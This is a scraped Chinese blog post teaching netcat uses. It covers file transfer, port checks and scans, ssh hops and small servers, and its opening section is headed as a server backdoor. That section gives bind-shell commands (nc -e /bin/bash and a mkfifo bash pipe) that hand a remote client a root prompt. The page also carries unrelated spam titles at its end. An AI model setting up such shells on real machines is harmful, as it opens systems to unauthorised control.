<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          nc很強(qiáng)大,容易讓人蹲號(hào)子

          共 2916字,需瀏覽 6分鐘

           ·

          2020-09-01 23:40


          點(diǎn)擊「閱讀原文」查看良許原創(chuàng)精品視頻。

          對(duì)于nc命令來(lái)說(shuō),可真的是要一行代碼調(diào)半天。因?yàn)檫@行代碼的威力是非常大的!當(dāng)然,用不好的話,還會(huì)給自身帶來(lái)麻煩。

          netcat這個(gè)工具,簡(jiǎn)稱nc,是Linux上一個(gè)非常強(qiáng)大的工具(當(dāng)然也有windows版本)。由于它能力實(shí)在太強(qiáng),有些公司甚至對(duì)他進(jìn)行了隔離(quarantined)。比如rename掉,或者給000的權(quán)限。因?yàn)樗苋菀卓梢栽诜?wù)器上開(kāi)一個(gè)后門(backdoor),并且及其方便。

          那nc命令在什么地方呢?where is it?

          # whereis nc
          nc: /usr/bin/nc /usr/share/man/man1/nc.1.gz

          它告訴我,文件在/usr/bin目錄下。我們使用file命令來(lái)看一下它的屬性。結(jié)果發(fā)現(xiàn)它是一個(gè)鏈接文件。

          # file /usr/bin/nc
          /usr/bin/nc: symbolic link to `ncat'

          從這里我們能夠看出,nc的全稱是ncatConcatenate and redirect sockets。這是一把瑞士軍刀。

          nc的參數(shù)非常非常多,如果列出來(lái),會(huì)讓你失去興趣,白白錯(cuò)過(guò)了這么厲害的工具,也錯(cuò)過(guò)了進(jìn)局子的機(jī)會(huì)。我們還是以案例來(lái)說(shuō)明,這款不到1MB的命令,為什么俘獲了xjjdog的芳心。

          1. 服務(wù)器上安后門

          下面的命令,將在機(jī)器上開(kāi)放5879端口。服務(wù)端:

          # nc -l -vv -p 5879 -e /bin/bash
          Ncat: Version 6.40 ( http://nmap.org/ncat )
          Ncat: Listening on :::5879
          Ncat: Listening on 0.0.0.0:5879

          這個(gè)過(guò)程叫做反彈shell,遠(yuǎn)程就可以使用nc命令連接,做一些事情。

          客戶端:

          # nc -v 192.16.1.54 5879
          Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!

          此時(shí),執(zhí)行任何shell命令,都可以正常運(yùn)行。下面這張gif動(dòng)畫可以驗(yàn)證這個(gè)過(guò)程。

          想要更霸道一點(diǎn)的么?我們需要借助mkfifo命令。

          在服務(wù)器上,執(zhí)行下面兩個(gè)命令,這就構(gòu)造了一個(gè)循環(huán)。

          rm -f /tmp/f; mkfifo /tmp/f
          cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f

          客戶端nc連接以后,竟然直接出現(xiàn)了命令行操作終端!

          $ nc -v 192.16.1.54 5879
          Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
          [root@localhost~]#

          你可能會(huì)說(shuō),我客戶端關(guān)掉之后,為什么服務(wù)端的命令也退出了?如果你想要服務(wù)端繼續(xù)監(jiān)聽(tīng),可以加上參數(shù)-k

          2.文件和目錄傳送

          還在用sftp?還是用rzsz?

          這些工具雖然好用,但需要安裝。有時(shí)候事情緊急,或者權(quán)限把的嚴(yán),并沒(méi)有這樣的工具。

          此時(shí),nc可以來(lái)幫忙。

          服務(wù)端同樣監(jiān)聽(tīng)一個(gè)端口,但是這次把重定向定向到一個(gè)文件。

          nc -l 5879 > file

          客戶端就可以啟動(dòng)一個(gè)命令將文件發(fā)送過(guò)去。這次是使用反向的箭頭。

          nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz

          文件傳的飛快!而且由于沒(méi)有rsa那一套的加密,速度更快了。

          查看它們的md5,一模一樣。

          MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c

          md5sum file
          224cabf26d622f37528b398762e1578c file

          我知道你的腦子里現(xiàn)在在想著怎么傳送目錄了。這個(gè)過(guò)程很有意思。

          我們把nc的輸出,使用管道交給tar命令處理。xfvzcvfz是一對(duì)參數(shù),你應(yīng)該猜到要怎么做了。

          nc -l 5879  | tar xfvz -

          沒(méi)錯(cuò),客戶端的代碼與上面的是相反的。不過(guò)這次,我們的nc命令接收了打包的文件。

          tar cfz - redis-5.0.5 |  nc -v 192.16.1.54 5879

          真的是非常巧妙。

          3.網(wǎng)絡(luò)連通性檢測(cè)

          沒(méi)錯(cuò),這是nc命令最常用的地方了。

          如果你想要判斷服務(wù)器的tomcat端口是否開(kāi)啟,不需要登陸到服務(wù)器上,然后再ps一下看一下進(jìn)程,或者使用netstat -antl看一下監(jiān)聽(tīng)的端口。

          使用nc就可以了。

          只需要簡(jiǎn)單的打上ip和端口,它就能知道結(jié)果。

          # nc -vvv baidu.com 443
          Connection to baidu.com port 443 [tcp/https] succeeded!

          當(dāng)然,它也可以掃描主機(jī)的端口開(kāi)放情況。不過(guò)對(duì)程序員來(lái)說(shuō)用的不多。

          nc -vzw 2 192.16.1.54 8888-9999

          4.防火墻穿透

          比如下面這張圖。你想要訪問(wèn)tongariro的這臺(tái)機(jī)器,但是你是沒(méi)有權(quán)限的。它只能通過(guò)aoraki的防火墻訪問(wèn)。同時(shí),aoraki也只能接受來(lái)自ruapehu的請(qǐng)求。

          通過(guò)組合ssh命令可以達(dá)到這個(gè)效果。

          ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro

          通過(guò)ssh的ProxyCommand,可以完成簡(jiǎn)單的配置。

          使用下面的命令可以快速打通這個(gè)通道。

          ssh -oProxyCommand="ssh host1 nc host2 22" host2

          5.其他

          你可以看到了。nc的這些能力,不是nc自身提供的,而是其他額外的命令。

          比如,這里實(shí)現(xiàn)一個(gè)簡(jiǎn)單的時(shí)間服務(wù)器。web瀏覽器訪問(wèn)即可獲取。

          ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'

          再比如,做一個(gè)遠(yuǎn)程視頻服務(wù)。

          服務(wù)端。

          arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -

          客戶端。

          arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****

          良許個(gè)人微信


          添加良許個(gè)人微信即送3套程序員必讀資料


          → 精選技術(shù)資料共享

          → 高手如云交流社群





          本公眾號(hào)全部博文已整理成一個(gè)目錄,請(qǐng)?jiān)诠娞?hào)里回復(fù)「m」獲取!

          推薦閱讀:

          如何在Ubuntu系統(tǒng)中重置root密碼

          終于,百度網(wǎng)盤等來(lái)了真正的對(duì)手

          你不就是加了 2 行代碼,為什么要用 2 天?


          5T技術(shù)資源大放送!包括但不限于:C/C++,Linux,Python,Java,PHP,人工智能,單片機(jī),樹莓派,等等。在公眾號(hào)內(nèi)回復(fù)「1024」,即可免費(fèi)獲取!!


          瀏覽 63
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  男人天堂资源网 | 青草视频在线观看视频 | 午夜爱爱动态视频欧美 | 日韩一道清 | 日本aa一级 |